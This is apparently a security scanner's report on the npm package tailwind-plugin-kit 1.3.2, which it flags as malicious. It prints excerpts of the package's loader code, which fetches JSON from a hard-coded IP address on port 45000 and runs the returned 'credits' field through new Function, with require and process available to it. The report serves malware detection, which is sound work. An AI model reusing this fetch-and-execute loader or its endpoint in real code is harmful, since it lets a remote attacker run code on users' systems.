6L7: // Create require that resolves from the project root (where package.json and node_modules are)
L8: const projectRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
...
L90:
L91: return fetch(url, { headers: head })
L92: .then(response => {
...
L95: }
L96: return response.json();
L97: });
...
L133: exports: {},
L134: __dirname: process.cwd(),
L135: __filename: import.meta.url,
CriticalRemote Response Code Execution
Source passes code obtained from a remote response into a dynamic execution sink.
index.jsView on unpkg · L6 149// Note: The code uses async/await, so we need to handle that
L150: const evalFn = new Function(
L151: 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',
•matchType = malicious_source_fingerprint_signature
signature = c06bd55d669269cb
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = tailwind-plugin-kit@1.3.2
matchedPath = index.js
matchedIdentity = npm:dGFpbHdpbmQtcGx1Z2luLWtpdA:1.3.2
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
HighKnown Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
index.jsView on unpkg 114function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {
const url = `${reqoptions.url}${reqtoken}`;
const mreq = async (atlf) => {
try {
const response = await fetch(url, { headers: reqoptions.headers });
HighAi Review Evidence
Default export invokes a remote plugin fetch when called.
index.jsView on unpkg · L114 150const evalFn = new Function(
'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',
data.credits
);
HighAi Review Evidence
Remote JSON field `credits` is passed directly to `new Function`.
index.jsView on unpkg · L150 130const evalContext = {
require: require,
module: { exports: {} },
exports: {},
__dirname: process.cwd(),
__filename: import.meta.url,
console: console,
process: process,
global: globalThis,
Buffer: typeof Buffer !== 'undefined' ? Buffer : undefined,
setTimeout: setTimeout,
setInterval: setInterval,
clearTimeout: clearTimeout,
clearInterval: clearInterval,
Promise: Promise,
HighAi Review Evidence
Fetched code receives `require`, `process`, global objects, and timers.
index.jsView on unpkg · L130 106const protocol = "https", domain = "31.97.137.157:45000", separator = "://", path = "/icons/";
// Constructs the base URL for the local server
const token = '109', head = { bearrtoken: "logo" };
// Options for the request, including the URL and headers
const uuri = `${protocol}${separator}${domain}${path}`; const options = { url: uuri, headers: head };
HighAi Review Evidence
The hard-coded endpoint is an IP address on port 45000.
index.jsView on unpkg · L106